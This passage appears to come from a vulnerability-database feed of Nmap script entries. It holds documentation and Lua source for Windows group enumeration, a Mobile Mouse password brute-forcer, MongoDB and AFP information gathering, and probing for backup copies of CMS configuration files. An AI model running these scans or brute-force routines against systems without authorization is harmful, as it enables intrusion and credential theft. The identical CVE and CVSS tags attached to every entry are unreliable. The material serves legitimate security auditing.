usernames. \n\nI (Ron Bowes) originally looked into the possibility of using the SAMR function `LookupRids2` to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do the same thing.\n\n## Script Arguments \n\n#### randomseed, smbbasic, smbport, smbsign \n\nSee the documentation for the [smb](<../lib/smb.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script smb-enum-users.nse -p445 <host>\n sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>\n \n\n## Script Output \n \n \n Host script results:\n | smb-enum-groups:\n | Builtin\\Administrators (RID: 544): Administrator, Daniel\n | Builtin\\Users (RID: 545): <empty>\n | Builtin\\Guests (RID: 546): Guest\n | Builtin\\Performance Monitor Users (RID: 558): <empty>\n | Builtin\\Performance Log Users (RID: 559): Daniel\n | Builtin\\Distributed COM Users (RID: 562): <empty>\n | Builtin\\IIS_IUSRS (RID: 568): <empty>\n | Builtin\\Event Log Readers (RID: 573): <empty>\n | azure\\HomeUsers (RID: 1000): Administrator, Daniel, HomeGroupUser$\n |_ azure\\HelpLibraryUpdaters (RID: 1003): <empty>\n \n\n## Requires \n\n * [msrpc](<../lib/msrpc.html>)\n * [smb](<../lib/smb.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n * [tableaux](<../lib/tableaux.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2009-11-20T16:05:06", "type": "nmap", "title": "smb-enum-groups NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-11-06T15:07:01", "id": "NMAP:SMB-ENUM-GROUPS.NSE", "href": "https://nmap.org/nsedoc/scripts/smb-enum-groups.html", "sourceData": "local msrpc = require \"msrpc\"\nlocal smb = require \"smb\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\nlocal tableaux = require \"tableaux\"\n\ndescription = [[\nObtains a list of groups from the remote Windows system, as well as a list of the group's users.\nThis works similarly to <code>enum.exe</code> with the <code>/G</code> switch.\n\nThe following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep\nin mind that MSRPC refers to groups as \"Aliases\".\n\n* <code>Bind</code>: bind to the SAMR service.\n* <code>Connect4</code>: get a connect_handle.\n* <code>EnumDomains</code>: get a list of the domains.\n* <code>LookupDomain</code>: get the RID of the domains.\n* <code>OpenDomain</code>: get a handle for each domain.\n* <code>EnumDomainAliases</code>: get the list of groups in the domain.\n* <code>OpenAlias</code>: get a handle to each group.\n* <code>GetMembersInAlias</code>: get the RIDs of the members in the groups.\n* <code>Close</code>: close the alias handle.\n* <code>Close</code>: close the domain handle.\n* <code>Close</code>: close the connect handle.\n\nOnce the RIDs have been termined, the\n* <code>Bind</code>: bind to the LSA service.\n* <code>OpenPolicy2</code>: get a policy handle.\n* <code>LookupSids2</code>: convert SIDs to usernames.\n\nI (Ron Bowes) originally looked into the possibility of using the SAMR function <code>LookupRids2</code>\nto convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since\nenum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do\nthe same thing.\n]]\n\n---\n-- @usage\n-- nmap --script smb-enum-users.nse -p445 <host>\n-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>\n--\n-- @output\n-- Host script results:\n-- | smb-enum-groups:\n-- | Builtin\\Administrators (RID: 544): Administrator, Daniel\n-- | Builtin\\Users (RID: 545): <empty>\n-- | Builtin\\Guests (RID: 546): Guest\n-- | Builtin\\Performance Monitor Users (RID: 558): <empty>\n-- | Builtin\\Performance Log Users (RID: 559): Daniel\n-- | Builtin\\Distributed COM Users (RID: 562): <empty>\n-- | Builtin\\IIS_IUSRS (RID: 568): <empty>\n-- | Builtin\\Event Log Readers (RID: 573): <empty>\n-- | azure\\HomeUsers (RID: 1000): Administrator, Daniel, HomeGroupUser$\n-- |_ azure\\HelpLibraryUpdaters (RID: 1003): <empty>\n--\n-- @xmloutput\n-- <table key=\"Builtin\">\n-- <table key=\"RID 544\">\n-- <table key=\"member_sids\">\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-500</elem>\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-1001</elem>\n-- </table>\n-- <elem key=\"name\">Administrators</elem>\n-- <table key=\"members\">\n-- <elem>Administrator</elem>\n-- <elem>Daniel</elem>\n-- </table>\n-- </table>\n-- <table key=\"RID 545\">\n-- <table key=\"member_sids\">\n-- <elem>S-1-5-4</elem>\n-- <elem>S-1-5-11</elem>\n-- </table>\n-- <elem key=\"name\">Users</elem>\n-- <table key=\"members\"></table>\n-- </table>\n-- <table key=\"RID 546\">\n-- <table key=\"member_sids\">\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-501</elem>\n-- </table>\n-- <elem key=\"name\">Guests</elem>\n-- <table key=\"members\">\n-- <elem>Guest</elem>\n-- </table>\n-- </table>\n-- <table key=\"RID 559\">\n-- <table key=\"member_sids\">\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-1001</elem>\n-- </table>\n-- <elem key=\"name\">Performance Log Users</elem>\n-- <table key=\"members\">\n-- <elem>Daniel</elem>\n-- </table>\n-- </table>\n-- <table key=\"RID 562\">\n-- <table key=\"member_sids\"></table>\n-- <elem key=\"name\">Distributed COM Users</elem>\n-- <table key=\"members\"></table>\n-- </table>\n-- <table key=\"RID 568\">\n-- <table key=\"member_sids\">\n-- <elem>S-1-5-17</elem>\n-- </table>\n-- <elem key=\"name\">IIS_IUSRS</elem>\n-- <table key=\"members\"></table>\n-- </table>\n-- </table>\n-- <table key=\"azure\">\n-- <table key=\"RID 1000\">\n-- <table key=\"member_sids\">\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-500</elem>\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-1001</elem>\n-- <elem>S-1-5-21-12345678-1234567890-0987654321-1002</elem>\n-- </table>\n-- <elem key=\"name\">HomeUsers</elem>\n-- <table key=\"members\">\n-- <elem>Administrator</elem>\n-- <elem>Daniel</elem>\n-- <elem>HomeGroupUser$</elem>\n-- </table>\n-- </table>\n-- <table key=\"RID 1003\">\n-- <table key=\"member_sids\"></table>\n-- <elem key=\"name\">HelpLibraryUpdaters</elem>\n-- <table key=\"members\"></table>\n-- </table>\n-- </table>\n\nauthor = \"Ron Bowes\"\ncopyright = \"Ron Bowes\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\",\"intrusive\"}\ndependencies = {\"smb-brute\"}\n\n\nhostrule = function(host)\n return smb.get_port(host) ~= nil\nend\n\nlocal empty = {\"<empty>\"}\n\naction = function(host)\n local status, groups = msrpc.samr_enum_groups(host)\n if(not(status)) then\n return stdnse.format_output(false, \"Couldn't enumerate groups: \" .. groups)\n end\n\n local response = stdnse.output_table()\n local response_str = {}\n\n local domains = tableaux.keys(groups)\n table.sort(domains)\n for _, domain_name in ipairs(domains) do\n local dom_groups = stdnse.output_table()\n response[domain_name] = dom_groups\n local domain_data = groups[domain_name]\n\n local rids = tableaux.keys(domain_data)\n table.sort(rids)\n for _, rid in ipairs(rids) do\n local group_data = domain_data[rid]\n -- TODO: Map SIDs to names, show non-named SIDs\n table.insert(response_str,\n string.format(\"\\n %s\\\\%s (RID: %s): %s\", domain_name, group_data.name, rid,\n table.concat(#group_data.members > 0 and group_data.members or empty, \", \"))\n )\n dom_groups[string.format(\"RID %d\", rid)] = group_data\n end\n end\n\n return response, table.concat(response_str)\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:40:49", "description": "Performs brute force password auditing against the RPA Tech Mobile Mouse servers. \n\nThe Mobile Mouse server runs on OS X, Windows and Linux and enables remote control of the keyboard and mouse from an iOS device. For more information: <http://mobilemouse.com/>\n\n## Script Arguments \n\n#### mmouse-brute.timeout \n\nsocket timeout for connecting to Mobile Mouse (default 5s)\n\n#### passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb \n\nSee the documentation for the [unpwdb](<../lib/unpwdb.html#script-args>) library. \n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass \n\nSee the documentation for the [brute](<../lib/brute.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script mmouse-brute -p 51010 <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 51010/tcp open unknown\n | mmouse-brute:\n | Accounts\n | vanilla - Valid credentials\n | Statistics\n |_ Performed 1199 guesses in 23 seconds, average tps: 47\n \n\n## Requires \n\n * [brute](<../lib/brute.html>)\n * [creds](<../lib/creds.html>)\n * [match](<../lib/match.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-05-01T14:29:36", "type": "nmap", "title": "mmouse-brute NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-03-10T03:09:39", "id": "NMAP:MMOUSE-BRUTE.NSE", "href": "https://nmap.org/nsedoc/scripts/mmouse-brute.html", "sourceData": "local brute = require \"brute\"\nlocal creds = require \"creds\"\nlocal match = require \"match\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nPerforms brute force password auditing against the RPA Tech Mobile Mouse\nservers.\n\nThe Mobile Mouse server runs on OS X, Windows and Linux and enables remote\ncontrol of the keyboard and mouse from an iOS device. For more information:\nhttp://mobilemouse.com/\n]]\n\n---\n-- @usage\n-- nmap --script mmouse-brute -p 51010 <host>\n--\n-- @output\n-- PORT STATE SERVICE\n-- 51010/tcp open unknown\n-- | mmouse-brute:\n-- | Accounts\n-- | vanilla - Valid credentials\n-- | Statistics\n-- |_ Performed 1199 guesses in 23 seconds, average tps: 47\n--\n-- @args mmouse-brute.timeout socket timeout for connecting to Mobile Mouse (default 5s)\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"brute\"}\n\n\nlocal arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. \".timeout\"))\narg_timeout = (arg_timeout or 5) * 1000\n\nportrule = shortport.port_or_service(51010, \"mmouse\", \"tcp\")\n\nDriver = {\n\n new = function(self, host, port)\n local o = { host = host, port = port }\n setmetatable(o, self)\n self.__index = self\n return o\n end,\n\n connect = function( self )\n self.socket = brute.new_socket()\n self.socket:set_timeout(arg_timeout)\n return self.socket:connect(self.host, self.port)\n end,\n\n login = function( self, username, password )\n local devid = \"0123456789abcdef0123456789abcdef0123456\"\n local devname = \"Lord Vaders iPad\"\n local suffix = \"2\"..\"\\30\"..\"2\"..\"\\04\"\n local auth = (\"CONNECT\\30%s\\30%s\\30%s\\30%s\"):format(password, devid, devname, suffix)\n\n local status = self.socket:send(auth)\n if ( not(status) ) then\n local err = brute.Error:new( \"Failed to send data to server\" )\n err:setRetry( true )\n return false, err\n end\n\n local status, data = self.socket:receive_buf(match.pattern_limit(\"\\04\", 2048), true)\n\n if (data:match(\"^CONNECTED\\30([^\\30]*)\") == \"NO\" ) then\n return false, brute.Error:new( \"Incorrect password\" )\n elseif ( data:match(\"^CONNECTED\\30([^\\30]*)\") == \"YES\" ) then\n return true, creds.Account:new(\"\", password, creds.State.VALID)\n end\n\n local err = brute.Error:new(\"An unexpected error occurred, retrying ...\")\n err:setRetry(true)\n return false, err\n end,\n\n disconnect = function(self)\n self.socket:close()\n end,\n\n}\n\nlocal function hasPassword(host, port)\n local driver = Driver:new(host, port)\n if ( not(driver:connect()) ) then\n error(\"Failed to connect to server\")\n end\n local status = driver:login(nil, \"nmap\")\n driver:disconnect()\n\n return not(status)\nend\n\n\naction = function(host, port)\n\n if ( not(hasPassword(host, port)) ) then\n return \"\\n Server has no password\"\n end\n\n local status, result\n local engine = brute.Engine:new(Driver, host, port )\n\n engine.options.script_name = SCRIPT_NAME\n engine.options.firstonly = true\n engine.options:setOption( \"passonly\", true )\n\n -- mouse server does not behave well when multiple threads are guessing\n engine:setMaxThreads(1)\n\n status, result = engine:start()\n\n return result\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:40:45", "description": "Attempts to get a list of tables from a MongoDB database.\n\n## Script Arguments \n\n#### mongodb.db \n\nSee the documentation for the [mongodb](<../lib/mongodb.html#script-args>) library. \n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 27017 --script mongodb-databases <host>\n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 27017/tcp open unknown syn-ack\n | mongodb-databases:\n | ok = 1\n | databases\n | 1\n | empty = false\n | sizeOnDisk = 83886080\n | name = test\n | 0\n | empty = false\n | sizeOnDisk = 83886080\n | name = httpstorage\n | 3\n | empty = true\n | sizeOnDisk = 1\n | name = local\n | 2\n | empty = true\n | sizeOnDisk = 1\n | name = admin\n |_ totalSize = 167772160\n\n## Requires \n\n * [creds](<../lib/creds.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [mongodb](<../lib/mongodb.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-01-29T22:23:06", "type": "nmap", "title": "mongodb-databases NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-05-07T20:15:22", "id": "NMAP:MONGODB-DATABASES.NSE", "href": "https://nmap.org/nsedoc/scripts/mongodb-databases.html", "sourceData": "local creds = require \"creds\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\n\nlocal mongodb = stdnse.silent_require \"mongodb\"\n\ndescription = [[\nAttempts to get a list of tables from a MongoDB database.\n]]\n\n---\n-- @usage\n-- nmap -p 27017 --script mongodb-databases <host>\n-- @output\n-- PORT STATE SERVICE REASON\n-- 27017/tcp open unknown syn-ack\n-- | mongodb-databases:\n-- | ok = 1\n-- | databases\n-- | 1\n-- | empty = false\n-- | sizeOnDisk = 83886080\n-- | name = test\n-- | 0\n-- | empty = false\n-- | sizeOnDisk = 83886080\n-- | name = httpstorage\n-- | 3\n-- | empty = true\n-- | sizeOnDisk = 1\n-- | name = local\n-- | 2\n-- | empty = true\n-- | sizeOnDisk = 1\n-- | name = admin\n-- |_ totalSize = 167772160\n\n-- version 0.2\n-- Created 01/12/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>\n-- Revised 01/03/2012 - v0.2 - added authentication support <patrik@cqure.net>\n\nauthor = \"Martin Holst Swende\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\ndependencies = {\"mongodb-brute\"}\n\n\nportrule = shortport.port_or_service({27017}, {\"mongodb\", \"mongod\"})\n\nfunction action(host,port)\n\n local socket = nmap.new_socket()\n\n -- set a reasonable timeout value\n socket:set_timeout(10000)\n -- do some exception / cleanup\n local catch = function()\n socket:close()\n end\n\n local try = nmap.new_try(catch)\n\n try( socket:connect(host, port) )\n\n -- ugliness to allow creds.mongodb to work, as the port is not recognized\n -- as mongodb, unless a service scan was run\n local ps = port.service\n port.service = 'mongodb'\n local c = creds.Credentials:new(creds.ALL_DATA, host, port)\n for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do\n local status, err = mongodb.login(socket, \"admin\", cred.user, cred.pass)\n if ( not(status) ) then\n return err\n end\n end\n port.service = ps\n\n local req, result, packet, err, status\n --Build packet\n status, packet = mongodb.listDbQuery()\n if not status then return result end-- Error message\n\n --- Send packet\n status, result = mongodb.query(socket, packet)\n if not status then return result end-- Error message\n\n port.version.name ='mongodb'\n port.version.product='MongoDB'\n nmap.set_port_version(host,port)\n\n local output = mongodb.queryResultToTable(result)\n if err ~= nil then\n stdnse.log_error(err)\n end\n if result ~= nil then\n return stdnse.format_output(true, output )\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:41", "description": "Shows AFP server information. This information includes the server's hostname, IPv4 and IPv6 addresses, and hardware type (for example `Macmini` or `MacBookPro`).\n\n## Script Arguments \n\n#### afp.password, afp.username \n\nSee the documentation for the [afp](<../lib/afp.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV -sC <target>\n\n## Script Output \n \n \n PORT STATE SERVICE\n 548/tcp open afp\n | afp-serverinfo:\n | Server Flags:\n | Flags hex: 0x837d\n | Super Client: true\n | UUIDs: false\n | UTF8 Server Name: true\n | Open Directory: true\n | Reconnect: false\n | Server Notifications: true\n | TCP/IP: true\n | Server Signature: true\n | Server Messages: true\n | Password Saving Prohibited: true\n | Password Changing: false\n | Copy File: true\n | Server Name: foobardigital\n | Machine Type: Netatalk\n | AFP Versions: AFPVersion 1.1, AFPVersion 2.0, AFPVersion 2.1, AFP2.2, AFPX03, AFP3.1\n | UAMs: DHX2\n | Server Signature: bbeb480e00000000bbeb480e00000000\n | Network Addresses:\n | 192.0.2.235\n | foobardigital.com\n |_ UTF8 Server Name: foobardigital\n \n\n## Requires \n\n * [afp](<../lib/afp.html>)\n * [nmap](<../lib/nmap.html>)\n * [outlib](<../lib/outlib.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-03-30T19:26:23", "type": "nmap", "title": "afp-serverinfo NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2020-01-19T16:37:36", "id": "NMAP:AFP-SERVERINFO.NSE", "href": "https://nmap.org/nsedoc/scripts/afp-serverinfo.html", "sourceData": "local afp = require \"afp\"\nlocal nmap = require \"nmap\"\nlocal outlib = require \"outlib\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nShows AFP server information. This information includes the server's\nhostname, IPv4 and IPv6 addresses, and hardware type (for example\n<code>Macmini</code> or <code>MacBookPro</code>).\n]]\n\n---\n-- @output\n-- PORT STATE SERVICE\n-- 548/tcp open afp\n-- | afp-serverinfo:\n-- | Server Flags:\n-- | Flags hex: 0x837d\n-- | Super Client: true\n-- | UUIDs: false\n-- | UTF8 Server Name: true\n-- | Open Directory: true\n-- | Reconnect: false\n-- | Server Notifications: true\n-- | TCP/IP: true\n-- | Server Signature: true\n-- | Server Messages: true\n-- | Password Saving Prohibited: true\n-- | Password Changing: false\n-- | Copy File: true\n-- | Server Name: foobardigital\n-- | Machine Type: Netatalk\n-- | AFP Versions: AFPVersion 1.1, AFPVersion 2.0, AFPVersion 2.1, AFP2.2, AFPX03, AFP3.1\n-- | UAMs: DHX2\n-- | Server Signature: bbeb480e00000000bbeb480e00000000\n-- | Network Addresses:\n-- | 192.0.2.235\n-- | foobardigital.com\n-- |_ UTF8 Server Name: foobardigital\n--\n-- @xmloutput\n-- <table key=\"Server Flags\">\n-- <elem key=\"Flags hex\">0x837d</elem>\n-- <elem key=\"Super Client\">true</elem>\n-- <elem key=\"UUIDs\">false</elem>\n-- <elem key=\"UTF8 Server Name\">true</elem>\n-- <elem key=\"Open Directory\">true</elem>\n-- <elem key=\"Reconnect\">false</elem>\n-- <elem key=\"Server Notifications\">true</elem>\n-- <elem key=\"TCP/IP\">true</elem>\n-- <elem key=\"Server Signature\">true</elem>\n-- <elem key=\"Server Messages\">true</elem>\n-- <elem key=\"Password Saving Prohibited\">true</elem>\n-- <elem key=\"Password Changing\">false</elem>\n-- <elem key=\"Copy File\">true</elem>\n-- </table>\n-- <elem key=\"Server Name\">foobardigital</elem>\n-- <elem key=\"Machine Type\">Netatalk</elem>\n-- <table key=\"AFP Versions\">\n-- <elem>AFPVersion 1.1</elem>\n-- <elem>AFPVersion 2.0</elem>\n-- <elem>AFPVersion 2.1</elem>\n-- <elem>AFP2.2</elem>\n-- <elem>AFPX03</elem>\n-- <elem>AFP3.1</elem>\n-- </table>\n-- <table key=\"UAMs\">\n-- <elem>DHX2</elem>\n-- </table>\n-- <elem key=\"Server Signature\">\n-- bbeb480e00000000bbeb480e00000000</elem>\n-- <table key=\"Network Addresses\">\n-- <elem>192.0.2.235</elem>\n-- <elem>foobardigital.com</elem>\n-- </table>\n-- <elem key=\"UTF8 Server Name\">foobardigital</elem>\n\n-- Version 0.2\n-- Created 2010/02/09 - v0.1 - created by Andrew Orr\n-- Revised 2010/02/10 - v0.2 - added checks for optional fields\n-- Revised 2015/02/25 - v0.3 - XML structured output\n\nauthor = \"Andrew Orr\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n\nportrule = shortport.port_or_service(548, \"afp\")\n\naction = function(host, port)\n\n local socket = nmap.new_socket()\n local status\n local result = stdnse.output_table()\n local temp\n\n -- set a reasonable timeout value\n socket:set_timeout(5000)\n\n -- do some exception handling / cleanup\n local catch = function()\n socket:close()\n end\n\n local try = nmap.new_try(catch)\n\n try( socket:connect(host, port) )\n\n -- get our data\n local afp_proto = afp.Proto:new( { socket=socket } )\n\n local response = afp_proto:fp_get_server_info( socket )\n response = response.result\n\n -- all the server information is output in the order it occurs in the server\n -- response. It might be better rearranged?\n\n -- output the server flags nicely\n -- Would like to just pass response.flags, but key ordering would be more\n -- work than it's worth.\n local flags = stdnse.output_table()\n flags[\"Flags hex\"] = (\"0x%04x\"):format(response.flags.raw)\n flags[\"Super Client\"] = response.flags.SuperClient\n flags[\"UUIDs\"] = response.flags.UUIDs\n flags[\"UTF8 Server Name\"] = response.flags.UTF8ServerName\n flags[\"Open Directory\"] = response.flags.OpenDirectory\n flags[\"Reconnect\"] = response.flags.Reconnect\n flags[\"Server Notifications\"] = response.flags.ServerNotifications\n flags[\"TCP/IP\"] = response.flags.TCPoverIP\n flags[\"Server Signature\"] = response.flags.ServerSignature\n flags[\"Server Messages\"] = response.flags.ServerMessages\n flags[\"Password Saving Prohibited\"] = response.flags.NoPasswordSaving\n flags[\"Password Changing\"] = response.flags.ChangeablePasswords\n flags[\"Copy File\"] = response.flags.CopyFile\n\n result[\"Server Flags\"] = flags\n\n -- other info\n result[\"Server Name\"] = response.server_name\n result[\"Machine Type\"] = response.machine_type\n\n -- list the supported AFP versions\n result[\"AFP Versions\"] = response.afp_versions\n outlib.list_sep(result[\"AFP Versions\"])\n\n -- list the supported UAMs (User Authentication Modules)\n result[\"UAMs\"] = response.uams\n outlib.list_sep(result[\"UAMs\"])\n\n -- server signature, not sure of the format here so just showing a hex string\n if response.flags.ServerSignature then\n result[\"Server Signature\"] = stdnse.tohex(response.server_signature)\n end\n\n -- listing the network addresses one line each\n -- the default for Mac OS X AFP server is to bind everywhere, so this will\n -- list all network interfaces that the machine has\n if response.network_addresses_count > 0 then\n result[\"Network Addresses\"] = response.network_addresses\n end\n\n -- similar to above\n if response.directory_names_count > 0 then\n result[\"Directory Names\"] = response.directory_names\n end\n\n -- and finally the utf8 server name\n if response.flags.UTF8ServerName then\n result[\"UTF8 Server Name\"] = response.utf8_server_name\n end\n\n return result\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:44:21", "description": "Checks for backups and swap files of common content management system and web server configuration files. \n\nWhen web server files are edited in place, the text editor can leave backup or swap files in a place where the web server can serve them. The script checks for these files: \n\n * `wp-config.php`: WordPress \n * `config.php`: phpBB, ExpressionEngine \n * `configuration.php`: Joomla \n * `LocalSettings.php`: MediaWiki \n * `/mediawiki/LocalSettings.php`: MediaWiki \n * `mt-config.cgi`: Movable Type \n * `mt-static/mt-config.cgi`: Movable Type \n * `settings.php`: Drupal \n * `.htaccess`: Apache \n\nAnd for each of these file applies the following transformations (using `config.php` as an example): \n\n * `config.bak`: Generic backup. \n * `config.php.bak`: Generic backup. \n * `config.php~`: Vim, Gedit. \n * `#config.php#`: Emacs. \n * `config copy.php`: Mac OS copy. \n * `Copy of config.php`: Windows copy. \n * `config.php.save`: GNU Nano. \n * `.config.php.swp`: Vim swap. \n * `config.php.swp`: Vim swap. \n * `config.php.old`: Generic backup. \n\nThis script is inspired by the CMSploit program by Feross Aboukhadijeh: <http://www.feross.org/cmsploit/>.\n\n## Script Arguments \n\n#### http-config-backup.save \n\ndirectory to save all the valid config files found\n\n#### http-config-backup.path \n\nthe path where the CMS is installed\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script=http-config-backup <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 80/tcp open http syn-ack\n | http-config-backup:\n | /%23wp-config.php%23 HTTP/1.1 200 OK\n |_ /config.php~ HTTP/1.1 200 OK\n \n\n## Requires \n\n * [coroutine](<>)\n * [http](<../lib/http.html>)\n * [io](<>)\n * [shortport](<../lib/shortport.html>)\n 